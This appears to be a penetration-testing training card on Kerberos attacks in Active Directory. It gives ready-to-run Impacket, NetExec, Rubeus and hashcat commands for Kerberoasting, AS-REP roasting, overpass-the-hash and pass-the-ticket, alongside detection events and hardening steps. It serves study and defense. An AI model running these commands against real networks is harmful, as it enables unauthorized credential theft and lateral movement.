Skip to content
Pwnversity
AD-KERBEROSadvanced · 13 min · upd. 2026-11

Kerberos Attacks

T1558.003T1558.004T1550.003T1550.002

Kerberos is Active Directory’s authentication protocol. Instead of sending passwords, it uses encrypted tickets issued by the KDC (every domain controller): a TGT proves who you are, and with it you request service tickets (STs, often called TGSs) for each service you want to reach. The attacks in this card don’t break the cryptography: they take advantage of what the KDC encrypts with which key and who it hands it to. Kerberoasting and AS-REP roasting get material to crack offline; overpass-the-hash and pass-the-ticket turn a stolen hash or ticket into access.

sequenceDiagram
    participant C as Client
    participant KDC as KDC (DC)
    participant S as Service (SPN)
    C->>KDC: AS-REQ (pre-authentication: timestamp encrypted with the user's key)
    KDC-->>C: AS-REP: TGT (encrypted with the krbtgt key) + part encrypted with the user's key
    C->>KDC: TGS-REQ (TGT + the service's SPN)
    KDC-->>C: TGS-REP: service ticket encrypted with the SPN account's key
    C->>S: AP-REQ (presents the ticket)
    Note over C,KDC: AS-REP roasting: without pre-authentication, the part encrypted with the user's key is cracked offline
    Note over C,S: Kerberoasting: the service ticket is encrypted with the SPN account's key

The KDC hands a service ticket to any authenticated user who asks for an existing SPN: authorization is decided later by the service, not by the KDC. That ticket is encrypted with the key of the account that owns the SPN, so it can be attacked offline without generating failed logons. Accounts with pre-authentication disabled hand out material encrypted with their key to anyone who asks. And since Kerberos keys are derived from the password (or are the NT hash, in RC4), whoever steals a hash or a ticket can act as that identity.

etype Algorithm Key Hash format hashcat
23 (0x17) RC4-HMAC The account’s NT hash $krb5tgs$23$ · $krb5asrep$23$ 13100 · 18200
17 (0x11) AES128-CTS-HMAC-SHA1 PBKDF2(password, salt) $krb5tgs$17$ · $krb5asrep$17$ 19600 · 32100
18 (0x12) AES256-CTS-HMAC-SHA1 PBKDF2(password, salt) $krb5tgs$18$ · $krb5asrep$18$ 19700 · 32200
  • In RC4 the key is the NT hash: that’s why a stolen NT hash can be used to request tickets (overpass-the-hash).
  • AES keys are salted (the realm in uppercase plus the account name) and use 4096 PBKDF2 iterations: cracking them is much slower than RC4.
  • The TGT is encrypted with the krbtgt key: whoever has it can forge TGTs (Golden Ticket, see persistence).
  • Tickets carry the PAC, with the user’s and groups’ SIDs. That’s why a membership change doesn’t apply until you request a new ticket.

With vulnerability CVE-2026-20833, Microsoft changed the KDC’s default behavior in three phases:

Date Phase Effect
January 2026 Audit DCs log KDCSVC warnings 201, 202 and 205–207 when a ticket depends on RC4
April 14, 2026 Enforcement (with rollback) DefaultDomainSupportedEncTypes becomes 0x18 (AES only) for accounts without explicit types; events 203, 204, 208 and 209 on blocks or denials
July 14, 2026 Final enforcement The registry rollback (RC4DefaultDisablementPhase) is removed

For the attacker, this means that on an updated domain Kerberoasting normally returns AES tickets ($krb5tgs$18$, hashcat 19700), much slower to crack. Only accounts whose msDS-SupportedEncryptionTypes explicitly includes RC4, or DCs that set their own registry value, still issue RC4. Kerberoasting still works: what changes is the cost of cracking, which only pays off against weak passwords.

Kerberos rejects tickets with more than 5 minutes of skew (KRB_AP_ERR_SKEW) and locates services by name (the SPN), not by IP. From Linux, sync your clock with the DC and use the machines’ FQDNs.

Ventana de terminal
sudo ntpdate dc01.corp.local # sync the system clock with the DC's
sudo rdate -n dc01.corp.local # alternative if ntpdate isn't available
Technique You need You get
Kerberoasting Any domain account Crackable hash of accounts with an SPN
Targeted Kerberoasting GenericWrite/WriteSPN over a user (ACL) The same, on an account that had no SPN
Kerberoasting without pre-authentication A DONT_REQ_PREAUTH account and a list of SPNs Service hashes without credentials
AS-REP roasting Usernames Crackable hash of accounts without pre-authentication
Overpass-the-hash / pass-the-key NT hash or AES key A valid TGT for that account
Pass-the-ticket A stolen TGT or ticket (.ccache, .kirbi, LSASS) Acting as that account while the ticket is valid
Golden / Silver / Diamond The krbtgt key or a service key Forged tickets: see persistence

List first without requesting tickets, to choose targets; then request only the ones that matter:

Ventana de terminal
GetUserSPNs.py corp.local/jdoe:'Passw0rd!' -dc-ip 10.10.10.10
ServicePrincipalName Name MemberOf PasswordLastSet
MSSQLSvc/sql01.corp.local:1433 svc-sql CN=SQL Admins,OU=Groups,DC=corp,DC=local 2019-03-11 09:12:44
HTTP/intranet.corp.local svc-web 2025-10-02 17:40:01
Ventana de terminal
GetUserSPNs.py corp.local/jdoe:'Passw0rd!' -dc-ip 10.10.10.10 -request-user svc-sql -outputfile svc-sql.hash
nxc ldap dc01.corp.local -u jdoe -p 'Passw0rd!' --kerberoasting kerb.txt # all at once
head -c 40 svc-sql.hash # $krb5tgs$18$svc-sql$CORP.LOCAL$… → AES256
hashcat -m 19700 svc-sql.hash rockyou.txt -r best64.rule
hashcat -m 19700 svc-sql.hash --show

Prioritize by MemberOf (accounts in privileged groups), by old PasswordLastSet (passwords that never rotate, sometimes older than the domain having AES keys) and by adminCount=1. Requesting tickets for every account is noisier than requesting two.

If you know an account with DONT_REQ_PREAUTH, you can request service tickets in an AS-REQ by changing the service name, without valid credentials. You need a list of service account names, because without credentials you can’t query LDAP:

Ventana de terminal
GetUserSPNs.py -no-preauth 'no_preauth_account' -usersfile services.txt -dc-host dc01.corp.local corp.local/

Accounts with “Do not require Kerberos preauthentication” return in the AS-REP a part encrypted with their key without you proving you know it:

Ventana de terminal
# No credentials: with a list of users (from kerbrute, OSINT, RID cycling…)
GetNPUsers.py corp.local/ -dc-ip 10.10.10.10 -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt
# With credentials: find the vulnerable accounts yourself
nxc ldap dc01.corp.local -u jdoe -p 'Passw0rd!' --asreproast asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt # $krb5asrep$23$

If the hash comes out in AES, the modes are -m 32100 ($krb5asrep$17$) and -m 32200 ($krb5asrep$18$), available since hashcat 7.

With an account’s NT hash (or better, its AES key), you request a legitimate TGT without knowing the password:

Ventana de terminal
getTGT.py corp.local/svc-sql -hashes :8846f7eaee8fb117ad06bdd830b7586c -dc-ip 10.10.10.10
getTGT.py corp.local/svc-sql -aesKey 4a3c…e1 -dc-ip 10.10.10.10 # pass-the-key: quieter
export KRB5CCNAME=svc-sql.ccache
psexec.py -k -no-pass corp.local/svc-sql@srv01.corp.local

On Windows, Rubeus does the same and injects it into the session:

Ventana de terminal
Rubeus.exe asktgt /user:svc-sql /aes256:4a3c…e1 /domain:corp.local /opsec /ptt

Requesting an RC4 TGT from an account that normally uses AES is a visible anomaly; using the AES key avoids that signal.

A stolen ticket works until it expires (10 hours by default for the TGT, renewable for up to 7 days):

Ventana de terminal
ticketConverter.py ticket.kirbi ticket.ccache # from Windows format to Linux (and back)
export KRB5CCNAME=$PWD/ticket.ccache
klist # check principal and expiry
smbclient.py -k -no-pass corp.local/admin@srv01.corp.local

Where to find them: LSASS memory (credential dumping), /tmp/krb5cc_* and keytabs on domain-joined Linux servers, forgotten .kirbi files.

  1. With the first credential: GetUserSPNs.py (list) and --asreproast.
  2. Choose targets by privilege and password age; request only those tickets.
  3. Crack with the right mode for the etype; validate with --show.
  4. With each new hash or key: overpass-the-hash and an access test.
  5. Stolen tickets: convert them to the format you need and use them before they expire.
  • Impacket (GetUserSPNs.py, GetNPUsers.py, getTGT.py, getST.py, ticketConverter.py): see the impacket card.
  • NetExec (--kerberoasting, --asreproast).
  • Rubeus on Windows (kerberoast, asreproast, asktgt, ptt, dump).
  • targetedKerberoast for targeted Kerberoasting.
  • hashcat (card) with modes 13100, 19600, 19700, 18200, 32100 and 32200.

From any account to the passwords of service accounts, which often have too many privileges (local admin on servers, permissions over other objects, sometimes Domain Admins). A stolen hash or ticket gives access over Kerberos where NTLM is restricted, and leads on to lateral movement and delegation.

  • Kerberoasting: one account requesting 4769 for many different SPNs in a short time. With RC4 retired, filtering on Ticket Encryption Type 0x17 loses value: watch the volume and any RC4 ticket that still shows up (KDCSVC events flag it).
  • AS-REP roasting: 4768 with Pre-Authentication Type: 0; an inventory of accounts with DONT_REQ_PREAUTH; 4738 when someone enables that flag (it may be a targeted attack).
  • Overpass-the-hash: 4768 with RC4 for an account that uses AES; on the source machine, 4624 type 9 (seclogo) if sekurlsa::pth was used.
  • Pass-the-ticket: tickets used from a host or IP other than where they were issued; 4769 without a prior 4768 for that account on that machine.
  • Honeytoken: an account with a decoy SPN and no real use; any 4769 for it is a high-fidelity alert.

4768/4769/4771 events on the DCs with their encryption type, KDCSVC events in the System log, Microsoft Defender for Identity and EDR on endpoints (LSASS access, ticket injection).

  1. Service accounts as gMSA/dMSA (long, random, automatically rotated passwords) or, if that’s not possible, random passwords of 25+ characters.
  2. Check that the DCs are in enforcement for CVE-2026-20833 and that no account keeps RC4 in msDS-SupportedEncryptionTypes without a reason.
  3. Change the password of old accounts: those predating the 2008 functional level may have no AES keys and fail when RC4 is removed.
  4. Remove DONT_REQ_PREAUTH from every account and alert if someone enables it again.
  5. Remove unnecessary SPNs; no account with an SPN in privileged groups.
  6. Protected Users for administrative accounts (no RC4, no delegation, 4-hour TGT) and Credential Guard on endpoints to protect TGTs in memory.

Change the password of the service accounts whose tickets were requested (twice if the compromised account is krbtgt), invalidate sessions, review later use of those accounts and migrate them to gMSA.

  • Kerberoasting (Tim Medin, DerbyCon 2014) and AS-REP roasting aren’t vulnerabilities: they abuse the protocol’s design (MITRE T1558.003 and T1558.004) and show up in nearly every AD assessment and in ransomware reports.
  • CVE-2026-20833 (2026): a Kerberos information disclosure vulnerability that Microsoft used to justify retiring RC4 by default on DCs (enforcement from April and final from July 2026).
  • MS14-068 / CVE-2014-6324: the KDC accepted a PAC with a forged signature; any user could become Domain Admin.
  • noPac (CVE-2021-42278 and CVE-2021-42287, 2021): impersonating a DC’s sAMAccountName with a computer account created by a regular user; the KDC issued tickets as the DC.
  • CVE-2022-33679 (2022): James Forshaw (Project Zero) showed an encryption downgrade attack against accounts without pre-authentication that recovered the session key.
  • Kerberoasting without pre-authentication (2022): Charlie Clark (Semperis) showed that a DONT_REQ_PREAUTH account lets you request service tickets without credentials.

More on NVD (https://nvd.nist.gov/vuln/search) and in Microsoft’s guidance on CVE-2026-20833.

  • Clock synced with the DC and FQDNs resolving.
  • Accounts with SPNs listed and prioritized (MemberOf, PasswordLastSet, adminCount).
  • Tickets requested only for the chosen targets; etype noted.
  • Accounts without pre-authentication (AS-REP roasting and Kerberoasting without pre-authentication).
  • Targeted Kerberoasting wherever there’s GenericWrite/WriteSPN.
  • Hashes cracked with the right mode and checked with --show.
  • Overpass-the-hash / pass-the-key with every hash or key obtained.
  • Stolen tickets (LSASS, krb5cc_*, keytabs) tested before they expire.